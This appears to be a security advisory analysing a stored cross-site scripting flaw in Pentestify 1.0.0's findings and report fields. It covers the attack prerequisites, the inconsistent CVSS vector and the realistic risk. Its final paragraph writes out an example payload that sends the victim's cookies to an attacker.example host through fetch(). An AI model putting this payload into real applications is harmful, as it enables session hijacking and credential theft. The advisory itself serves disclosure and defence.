Pentestify EUVD-2026-45947

The attacker must hold a valid authenticated account within the Pentestify instance with permission to create or modify findings (images array) or reports (client_logo array) - unauthenticated exploitation is not possible. A second user (the victim) must subsequently open and render the affected report in their browser; exploitation does not occur server-side. No special non-default configuration is required: any standard Pentestify 1.0.0 deployment is vulnerable as long as the attacker can submit data and the victim can view reports. Exploitation is limited by: (1) the requirement for attacker authentication, (2) the need for a victim to navigate to the infected report, and (3) the narrow deployment context of a team-internal pentesting tool where accounts are typically controlled.

The provided CVSS 4.0 vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N) conflicts materially with the CVE description, which states the attacker must be authenticated and that execution occurs when another user views the report - both PR:N and UI:N are inconsistent with these conditions. This discrepancy should be verified with the vendor or NVD before using the supplied score for prioritization. Assessed independently: exploitation requires at minimum a low-privileged authenticated account (e.g., an analyst who can submit findings) and passive user interaction from the victim (opening a report), which reduces realistic risk compared to a fully unauthenticated, zero-interaction flaw. There is no EPSS score available in the provided data and no CISA KEV listing, meaning there is no intelligence signal of active or opportunistic exploitation. Real-world risk is further bounded by Pentestify's narrow deployment footprint - it is a niche tool used by small penetration testing teams - limiting the population of both attackers with valid credentials and potential victims. The stored nature of the payload is the most dangerous characteristic: a single injection in a widely-shared report template could silently harvest session tokens from every team member who reviews it.

An authenticated attacker with access to submit or edit a penetration testing finding sets the images field to a crafted value such as "><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> instead of a legitimate base64 data URI. When any team member or report reviewer opens the affected report, Pentestify's renderEditor or renderPreview function interpolates the unsanitized value into an img src attribute, the browser processes the injected markup, and the attacker's JavaScript executes in the victim's authenticated session - enabling session token theft, credential harvesting, or further actions on behalf of the victim. No public exploit code has been identified for this vulnerability.